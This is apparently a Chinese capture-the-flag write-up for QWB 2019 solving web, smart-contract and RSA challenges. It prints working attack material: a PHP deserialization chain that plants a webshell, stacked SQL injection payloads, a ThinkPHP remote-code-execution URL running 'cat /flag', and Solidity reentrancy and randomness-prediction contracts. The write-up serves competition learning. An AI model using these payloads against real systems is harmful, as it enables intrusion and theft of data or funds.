QWB2019_writeup

WEB

upload

审计分析

先收集信息,找到源代码www.tar.gz
开始代码审计。每个控制器中都定义了类,尝试寻找反序列化的点。
在login中发现cookie的序列化过程

1
2
3
4
if (md5($password) === $user_info['password']) {
$cookie_data=base64_encode(serialize($user_info));
cookie("user",$cookie_data,3600);
$this->success('Login successful!', url('../home'));

又在logincheck函数中发现了反序列化的点

1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

反序列话的参数可以控制,接下来寻找可用的类。
继续审计注意到Profile类中有

1
@copy($this->filename_tmp, $this->filename);

在我们上传文件时,最终生成的文件是文件名的md5加上png后缀

1
2
3
4
5
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

但是如果我们在不上传文件的情况下,既empty($_FILES)=1时调用upload_img()函数,就可以控制文件名后缀了。
下面构造攻击链
注意到register中

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

这里调用了index()方法,那么我们可以用他来触发_call,
而Profile中的_call方法可以触发_get,

1
2
3
4
5
6
7
8
9
10
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
public function __get($name)
{
return $this->except[$name];
}

而我们只要控制好except的值,就可以调用任意方法。

那么我们攻击链就很明显了

1
2
3
4
Register->__destruct
Profile-> __call
Profile-> __get
Profile-> upload_img()

控制filename参数,讲我们上传的内容重命名后缀。
生成序列化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
namespace app\web\controller;

class Register{
public $checker;
public $registed;
}
class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}

$a=new Register();
$a->registed=0;
$a->checker=new Profile();
$a->checker->except=array('index'=>'upload_img');
$a->checker->ext=1;
$a->checker->filename_tmp="./upload/08856017fa6b6b422db719c5519123dc/da5402f0aef9e4efbb5a9c9bb8566e7b.png";
$a->checker->filename="./upload/altman.php";
echo base64_encode(serialize($a));

开始操作

先上传一个带有恶意代码的png图片上去,然后在源代码找到图片地址。

然后讲cookie替换成生成的序列化数据

刷新后访问首页。
之后再去访问刚才图片发现已经被删除了,访问altman.php后缀发现代码成功执行,getshell。然后根目录拿flag就行了。
屏幕快照 2019-05-27 上午11.22.03

高明的黑客

下载源码拿到上千个混淆文件,每个文件又有许多参数。
猜测应该会有一个文件中有存在命令执行,尝试本地进行爆破
使用eval和system都能执行的命令echo来测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
# -*- author:altman -*-
import os
import re
import requests
url="http://127.0.0.1/web2/"
rr = re.compile(r'(_GET\[\')(.*)(\'\])')
cmd="echo 66666;"

file=os.listdir('/Users/a1tm4nz/site/web2/')
for i in file:
url1 = "http://127.0.0.1/web2/"+i
x=open('/Users/a1tm4nz/site/web2/'+i)
content=x.read()
get=rr.findall(content)
for j in get:
url2=url1+"?"+j[1]+"="+cmd
r=requests.get(url=url2)
print url2
if "66666" in r.content:
print "GET it"
print url2
exit()

爆破了6分钟后果然找到了一个可以执行命令的地方

然后执行命令拿到flag

随便注

随手测试发现过滤这些内容

1
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

过滤了select和. 正常的注入思路基本行不通。
发现可以堆叠注入。
尝试

1
?inject=1%27;show tables;

得到表名

又通过

1
?inject=1%27;show%20create%20table%20`1919810931114514`;

得到表结构

然后就卡住了很久。
发现没有过滤alter
因此可以通过修改表结构和表名的来让页面直接查询flag。

1
';alter table words rename xxx;alter table `1919810931114514` rename words;#

此时把flag所在表改名成words,回到首页直接查询发现报错,缺少id字段。
重置环境,给表中加入id字段

1
';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#

再查询。

护网先锋上单

看log后便知是一个tp5.3 below命令执行
只用log中的poc去打就行了

1
http://49.4.23.26:31960/1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

CRYPTO

BABYBANK

我们通过合约地址进行逆向得到合约的逆向代码(https://ethervm.io/decompile/)

由代码分析我们得出代码中的关键函数分别为:guess、profit、transfer、withdraw。
且合约中存在两个关键变量:balance(余额)以及level(一种标记)。
在审计合约之后我们发现
profit函数:每个账户只允许调用一次,并发送钱包1 token;
guess函数需要level值为1且调用后余额+1、leve+1 ;
而transfer函数满足必须balance与level同时为2才能调用,且调用后收款方余额变为2,且转账方余额变为0 ;
withdraw函数表示取款,且合约会将以太币转给msg.sender。
然而漏洞点就在withdraw中。熟悉区块链的人都知道此处使用.call方法进行转账,而这种方法会调用收款方的fallback函数,从而引发重入攻击。
于是我们利用此来进行攻击。我们还看到withdraw中还存在如下方法:

当存在减法且没有判断时,我们就可以认定这里存在溢出,然而要满足溢出条件需要storage[temp2]<temp1。可是前面代码加了判断,所以我们需要在中间调用.call时进行对余额的操作从而让其减小。
我们可以在合约调用如下句子的时候调用收款人的fallback函数从而再次执行withdraw,加入合约余额为2,转账金额设置为2。而在中间进行调用可以很好的绕过余额的检测,从而达成2-2-2的情况,从而溢出。
贴上攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
contract hack{
babybank a;
uint count = 0;
event log(uint256);
constructor(address b)public{
a = babybank(b);
}
function () public payable {
if(count==2){
log(3);
}else{
count = count + 1;
a.withdraw(2);
log(1);
}
}
function getMoney() public payable{}

function hacker() public{
a.withdraw(2);
log(2);
}
function payforflag1(string md5ofteamtoken,string b64email) public{
a.payforflag(md5ofteamtoken,b64email);
}

function kill() {

selfdestruct(xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
}

}

15589280222995

1 由于合约本身没有以太币,所以我们先生成合约A调用自杀函数给题目转钱。
2 进行转账操作,我们使用账户B分别调用profit()、guess()、transfer()给C账户转2token。
3 当C有了2token便可以进行攻击,调用hacker函数即可。
PS:由于合约需要前四位为“b1b1”的账户,所以我们需要https://vanity-eth.tk/来生成相应的账户B。

调动成功后在邮箱收到flag

babybet

给了部分合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.4.23;

contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;

//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);

constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}

//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

逆向合约,得到关键函数:profit、bet、func_048F(转账函数)。
发现此问题相比上一道题利用方法更为简单。首先调用profit函数获得空投10 token。
之后进入bet函数,而bet函数有如下判断:首先余额要>=10 、status要小于2、传入的参数要与随机数相同,之后便会给与此账户1000代币,并将status改为2 。
于是我们的函数调用顺序为:创建新合约账户A,调用profit、预测随机数调用guess、调用转账函数汇总token。
合约要求代币要>1000000,所以上述薅羊毛过程需要重复1000次,并汇总到一个账户中。
具体合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
contract midContract {
babybet target = babybet(x5d1BeEFD4dE611caFf204e1A318039324575599A);

function process() public {
target.profit();
bytes32 guess = block.blockhash(block.number - x01);
uint guess1 = uint(guess) % x03;
target.bet(guess1);

}
function transfer(address a, uint b) public{
// target.func_048F(a,b);
bytes4 method = xf0d25268;
target.call(method,a,b);
selfdestruct();
}
}

contract hack {
// babybet target; = babybet(x5d1BeEFD4dE611caFf204e1A318039324575599A);


function ffff() public {
for(int i=0;i<=20;i++){
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a30b7df47b9dbe0ec7d4bd52aaae4465f2ebe",1000);
}
}
}

每次生成新合约,循环20次,所以此合约执行50次即可。记得将gas limit调大。
预测十分简单,即使用一下语句即可

调用后拿到flag

强网先锋_辅助

公因数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import gmpy2
import libnum

n1=14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
n2=14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979
c1=2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597
c2=3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594483217938833520220087230303470138525970468915511111320396185482564783975435346354440035776909781158407636044986403819840648379609630039348895415045723208843631191252142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587269632133595149294067490955644893402708720284179715002149224068928828656515326446881791228638008572889331511945042911372915003805505412099102954073299010951896955362470
e1=65537
e2=65537

q=gmpy2.gcd(n1,n2)
p1=n1//q
p2=n2//q

d1=gmpy2.invert(e1,(p1-1)*(q-1))
d2=gmpy2.invert(e2,(p2-1)*(q-1))

while d1<0:
d1+=(p1-1)*(q-1)
while d2<0:
d2+=(p2-1)*(q-1)
m2=pow(c2,d2,n2)
m1=pow(c1,d1,n1)

print libnum.n2s(m2)
print libnum.n2s(m1)

copperstudy

RSA大礼包,一共六关

challenge1

1
2
3
4
5
6
7
8
9
10
[+]Generating challenge 1

[+]n=0xa1888c641a05aeb81b3d1686317a86f104791fe1d570a5b11209f45d09ea401d255a70744e7a2d39520e359c23a9f1209ee47f496dbd279e62ee1648b3a277ced8825298274322e0a7a86deea282676310a73b6bb946fc924c34ac6c8784ff559bf9a004c03fb167ef54aaea90ce587f2f3074b40d7f632022ec8fb12e659953L
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x93145ece45f416a11e5e9475518f165365456183c361500c2f78aff263028c90f20b7d97205f54e21f3bcc8a556b457889fde3719d0a0f9c9646f3f0d0a1e4bee0f259f023168fe8cc0511848c1635022fcc20b6088084585e2f8055a9d1b1d6bdb228087900bf7c6d42298f8e45c451562c816e2303990834c94e580bf0cbd1L
[+]((m>>72)<<72)=0x9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b000000000000000000L

# 70841b8fe11fd1872e
# 9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b70841b8fe11fd1872eL

Lattice based attacks
已知明文高位的攻击
直接上脚本

1
2
3
4
5
6
7
8
9
e = 0x3
b = 0x9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b000000000000000000L
n = 0xa1888c641a05aeb81b3d1686317a86f104791fe1d570a5b11209f45d09ea401d255a70744e7a2d39520e359c23a9f1209ee47f496dbd279e62ee1648b3a277ced8825298274322e0a7a86deea282676310a73b6bb946fc924c34ac6c8784ff559bf9a004c03fb167ef54aaea90ce587f2f3074b40d7f632022ec8fb12e659953L
c=0x93145ece45f416a11e5e9475518f165365456183c361500c2f78aff263028c90f20b7d97205f54e21f3bcc8a556b457889fde3719d0a0f9c9646f3f0d0a1e4bee0f259f023168fe8cc0511848c1635022fcc20b6088084585e2f8055a9d1b1d6bdb228087900bf7c6d42298f8e45c451562c816e2303990834c94e580bf0cbd1L
kbits=72
PR.<x> = PolynomialRing(Zmod(n))
f = (x + b)^e-c
x0 = f.small_roots(X=2^kbits, beta=1)[0]
print "x: %s" %hex(int(x0))

challenge2

1
2
3
4
5
6
[+]Generating challenge 2
[+]n=0x241ac918f708fff645d3d6e24315e5bb045c02e788c2b7f74b2b83484ce9c0285b6c54d99e2a601a386237d666db2805175e7cc86a733a97aeaab63486133103e30c1dca09741819026bd3ea8d08746d1d38df63c025c1793bdc7e38d194a30b492aadf9e31a6c1240a65db49e061b48f1f2ae949ac9e7e0992ed24f9c01578dL
[+]e=65537
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x1922e7151c779d6bb554cba6a05858415e74739c36df0bcf169e49ef0e566a4353c51a306036970005f2321d1d104f91a673f40944e830619ed683d8f84eaf26e7a93c4abe1dbd7ca3babf3f4959def0e3d87f7818d54633a790fc74e9fed3c5b5456c21e3f425240f6217b0b14516cb59aa0ce74b83ca17d8cc4a0fbc829fb8L
[+]((p>>128)<<128)=0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a873200000000000000000000000000000000L

p高位已知,低位未知.
解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
n = 0x241ac918f708fff645d3d6e24315e5bb045c02e788c2b7f74b2b83484ce9c0285b6c54d99e2a601a386237d666db2805175e7cc86a733a97aeaab63486133103e30c1dca09741819026bd3ea8d08746d1d38df63c025c1793bdc7e38d194a30b492aadf9e31a6c1240a65db49e061b48f1f2ae949ac9e7e0992ed24f9c01578dL
p_fake = 0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a873200000000000000000000000000000000L

pbits = 1024
kbits = 130
pbar = p_fake & (2^pbits-2^kbits)
print "upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)

PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar

x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3
print hex(int(x0 + pbar))

# output : 0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a87321efe89ec89bdf3e4d9da9a45df22a787L

challenge3

1
2
3
4
5
6
7
8
9
10
11
[+]Generating challenge 3

[+]n=0x51fb3416aa0d71a430157d7c9853602a758e15462e7c08827b04cd3220c427bbb8199ed4f5393dae43f013b68732a685defc17497f0912c886fa780dfacdfbb1461197d95a92a7a74ade874127a61411e14a901382ed3fb9d62c040c0dbaa374b5a4df06481a26da3fca271429ff10a4fc973b1c82553e3c1dd4f2f37dc24b3bL

[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x3d7e16fd8b0b1afdb4e12594c3d8590f1175800ef07bb275d7a8ad983d0d5d5fd5c6f81efa40f5d10c48bb200f805e679d633ee584748e5feef003e0921dea736ba91eef72f3d591d3a54cd59fd36f61140fdd3fb2e2c028b684e50cbeae4a1f386f6ab35359d46a29996c0f7d9a4a189f1096150496746f064c3cc41cf111b0L
[+]d=invmod(e,(p-1)*(q-1))
[+]d&((1<<512)-1)=0x17c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL
[-]long_to_bytes(m).encode('hex')=
d = 0x36a7780f1c08f66d7563a8fdbae2401c4e5eb8d97452b056fcadde216b2d6fd27abbbf38a37b7e742d4ab7cf04cc6f03e9fd64dbaa060c85af51a55ea733fd2017c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL

已知低位的密钥和N。Partial Key Exposure Attack(部分私钥暴露攻击)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def partial_p(p0, kbits, n):
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()
f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)


def find_p(d0, kbits, e, n):
X = var('X')


for k in xrange(1, e+1):
results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p:
return p


if __name__ == '__main__':
# n = 0x51fb3416aa0d71a430157d7c9853602a758e15462e7c08827b04cd3220c427bbb8199ed4f5393dae43f013b68732a685defc17497f0912c886fa780dfacdfbb1461197d95a92a7a74ade874127a61411e14a901382ed3fb9d62c040c0dbaa374b5a4df06481a26da3fca271429ff10a4fc973b1c82553e3c1dd4f2f37dc24b3bL
e = 3
# d = 0x17c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL

n = 57569201048993475052349187244752169754165154575782760003851777813767048953051839288528137121670999884309849815765999616346303792471518639080697166767644957046582385785721102370288806038187956032505761532789716009522131450217010629338000241936036185205038814391205848232364006349213836317806903032515194407739
nbits = n.nbits()
kbits = floor(nbits*0.5)
print "kbits : ", kbits
d0 = 1244848677959253796774387650148978357579294769878147704641867595620534030329181934099194560059806799908134954814673426128260540575360296026444649631806619
print "lower %d bits (of %d bits) is given" % (kbits, nbits)

p = find_p(d0, kbits, e, n)
print "found p: %d" % p
q = n//p
# print d
print inverse_mod(e, (p-1))

challenge4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[+]Generating challenge 4
[+]e=3
[+]m=random.getrandbits(512)

[+]n1=0x4b25bd834da788533ebef06f552bc8230024d1a571226770bd93bad3b202af4de7f680252a61cc423b3143db075196d6c282e71e84a3f3fe582c69c822389ddf76a86f9169334868119a884b8185c4ee559a3540141c785f2a9e1d59e3c828b26fc785ae4b578da073a39000fbaca6f30807a6110079dc64693dd1089835ea0bL

[+]c1=pow(m,e,n1)=0x5e6a4b86018060a6c38952cfd450695ca90444c51d4e0de4690dbadd5000f7bb62e752bbd70c27f342792cc669f0d650b0c8e31b233963c32ebc2297d5aae650a8be7ba5a49319cc010ea8333de09fb4ae9e25af4cce79afcaad80263fbb02329dadb49bfb5f87791c9d29e52103f0153a200f7a11b00086c3c7ae6bbc30269L

[+]n2=0x2388ddafc70ba72e181857376f3b23bf6b95c5f721a05e5e499caed0ee81a40031223718156752eef2c7535d8d8d0224126975492f8f002ca98d923ba3f05bff14eac24fb35dd50683cadc3ae0fa55ac368ebe5eb4ecfeb48ada4d785d7c64524783ef50a7c599a27b6a2afa9e1c1a41c6aba40dfd316eef4dc6718eba2af1c5L

[+]c2=pow(m,e,n2)=0x71c907c67faf78314ff0332a7fe1d23fd6c9d788425affd54b851c805327fe363c340b047b555f356b1d8b6a930cb22a2e2eb3eb492ab4b307bc782c34fe1dfd032a2d838a80fbf8f6990baa4c712bc9f3bcae964806d418301cd25bc35c0d07a3fc24b25ecc527d3bfafaa5c6ffcf171446238925a76039a2aadc557efb871L

[+]n3=0x33e9cbd05b84dc1e5d314656c937c2225351bd0573a5d2d8db357db8afb65be91b0362f8c1b9bbaab51c23decfff77cf8160e260c3374c2fd5b69d1a64cdddb5bd6e37e049e4a657d4a239177b9ec23a873ae272861567b8ea000880d0ba8e7f0449de97f955a78e78e7c8a3becbf3adb6825326786d98ecc30d34be67b5be69L

[+]c3=pow(m,e,n3)=0x37bf32f9bfd3afc668b2fb4f48ab3e888bbc204eda2dd05af8dc08974698aa7808cb8623ee16cb17ccc9e27de90d283569390f1ea155a645e46a47f4a1c147d139b631219a94ea3fcac314515a112c7e673ddf594482eec00c0ec8c46dbf4bc4532c19a5dcdbc0a1c8882937b5546653e73c047473df8aa350d876c7a62f60fL
[-]long_to_bytes(m).encode('hex')

广播攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import gmpy2
import libnum
def broadcast(n1, n2 ,n3, c1, c2, c3):
n = [n1, n2, n3]
C = [c1, c2, c3]
N = 1
for i in n:
N *= i

Ni = []
for i in n:
Ni.append(N / i)

T = []
for i in xrange(3):
T.append(long(gmpy2.invert(Ni[i], n[i])))

X = 0
for i in xrange(3):
X += C[i] * Ni[i] * T[i]

m3 = X % N
m = gmpy2.iroot(m3, 3)
return m
n1=0x4b25bd834da788533ebef06f552bc8230024d1a571226770bd93bad3b202af4de7f680252a61cc423b3143db075196d6c282e71e84a3f3fe582c69c822389ddf76a86f9169334868119a884b8185c4ee559a3540141c785f2a9e1d59e3c828b26fc785ae4b578da073a39000fbaca6f30807a6110079dc64693dd1089835ea0bL
c1=0x5e6a4b86018060a6c38952cfd450695ca90444c51d4e0de4690dbadd5000f7bb62e752bbd70c27f342792cc669f0d650b0c8e31b233963c32ebc2297d5aae650a8be7ba5a49319cc010ea8333de09fb4ae9e25af4cce79afcaad80263fbb02329dadb49bfb5f87791c9d29e52103f0153a200f7a11b00086c3c7ae6bbc30269L
n2=0x2388ddafc70ba72e181857376f3b23bf6b95c5f721a05e5e499caed0ee81a40031223718156752eef2c7535d8d8d0224126975492f8f002ca98d923ba3f05bff14eac24fb35dd50683cadc3ae0fa55ac368ebe5eb4ecfeb48ada4d785d7c64524783ef50a7c599a27b6a2afa9e1c1a41c6aba40dfd316eef4dc6718eba2af1c5L
c2=0x71c907c67faf78314ff0332a7fe1d23fd6c9d788425affd54b851c805327fe363c340b047b555f356b1d8b6a930cb22a2e2eb3eb492ab4b307bc782c34fe1dfd032a2d838a80fbf8f6990baa4c712bc9f3bcae964806d418301cd25bc35c0d07a3fc24b25ecc527d3bfafaa5c6ffcf171446238925a76039a2aadc557efb871L
n3=0x33e9cbd05b84dc1e5d314656c937c2225351bd0573a5d2d8db357db8afb65be91b0362f8c1b9bbaab51c23decfff77cf8160e260c3374c2fd5b69d1a64cdddb5bd6e37e049e4a657d4a239177b9ec23a873ae272861567b8ea000880d0ba8e7f0449de97f955a78e78e7c8a3becbf3adb6825326786d98ecc30d34be67b5be69L
c3=0x37bf32f9bfd3afc668b2fb4f48ab3e888bbc204eda2dd05af8dc08974698aa7808cb8623ee16cb17ccc9e27de90d283569390f1ea155a645e46a47f4a1c147d139b631219a94ea3fcac314515a112c7e673ddf594482eec00c0ec8c46dbf4bc4532c19a5dcdbc0a1c8882937b5546653e73c047473df8aa350d876c7a62f60fL

m = broadcast(n1,n2,n3,c1,c2,c3)
print m

challenge5

1
2
3
4
5
6
7
8
[+]Generating challenge 5

[+]n=0x198f61bc7d2977139120b86b739afbd04e82726a7dcf514cc2ad46c7002d2202915ba932364d71b7dd1928fb6861f984d8d9e31e70d0023aca721130e1df2825568a623c8316fd555616d91897a2db5d1df973a1584ed4cfb0f55d910db5ff64a79f061ef71b2362b6c2af8416a5a47094aff428d6c541448df45436ec48f93L

[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x13a5213f8946b3da1b37a7346f7985ed17329b05c31cc72912e15ab62c2b578f95148f7f2fb3daed063f5517efd9694d8a87792b675715d50d9113baa0bbfb1791f8e551ce5583c3dc31adf37dced9dab4acf3e58a5f3e203b1c971a746de5e9ac0b4d0153538f9392a0ce12250c5597eb23f07b4d7c84a084fc1dd0dee6b1cL
[+]x=pow(m+1,e,n)=0xa864c9ffa08edc2d2a380fde218fe07204193c43580ee0a3fd1505e3f60125c3f380fab24bbd344bca174f3b5b09ed271b817cb08fa6087f2b9d2216a1c7782714c50f475b0e3ca8b530ae33f4f4fb72c14ac0331b107d9dfcbbb193ac6946edd01e9cf5cab799a444dd9a49eb5362f6a499fa69540ac1d3dfbb977f57cd8eL

爆破一元二次方程

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
n=0x198f61bc7d2977139120b86b739afbd04e82726a7dcf514cc2ad46c7002d2202915ba932364d71b7dd1928fb6861f984d8d9e31e70d0023aca721130e1df2825568a623c8316fd555616d91897a2db5d1df973a1584ed4cfb0f55d910db5ff64a79f061ef71b2362b6c2af8416a5a47094aff428d6c541448df45436ec48f93L
c1=0x13a5213f8946b3da1b37a7346f7985ed17329b05c31cc72912e15ab62c2b578f95148f7f2fb3daed063f5517efd9694d8a87792b675715d50d9113baa0bbfb1791f8e551ce5583c3dc31adf37dced9dab4acf3e58a5f3e203b1c971a746de5e9ac0b4d0153538f9392a0ce12250c5597eb23f07b4d7c84a084fc1dd0dee6b1cL
c2=0xa864c9ffa08edc2d2a380fde218fe07204193c43580ee0a3fd1505e3f60125c3f380fab24bbd344bca174f3b5b09ed271b817cb08fa6087f2b9d2216a1c7782714c50f475b0e3ca8b530ae33f4f4fb72c14ac0331b107d9dfcbbb193ac6946edd01e9cf5cab799a444dd9a49eb5362f6a499fa69540ac1d3dfbb977f57cd8eL
e=3
for i in range(0,99999):
c=1-n*i+(c1-c2)
if(9-12*c)>0:
if ((gmpy2.iroot(9-12*c,2)[0]-3)%6==0):
m=(gmpy2.iroot(9-12*c,2)[0]-3)/6
if pow(m,e,n)==c1:
print m

challenge6

1
2
3
4
5
6
7
8
[+]Generating challenge 6
[+]n=0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L
[+]d=random.getrandbits(1024*0.270)
[+]e=invmod(d,phin)
[+]hex(e)=0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866cL
[-]long_to_bytes(m).encode('hex')=

Boneh and Durfee attack.

用这个脚本 https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage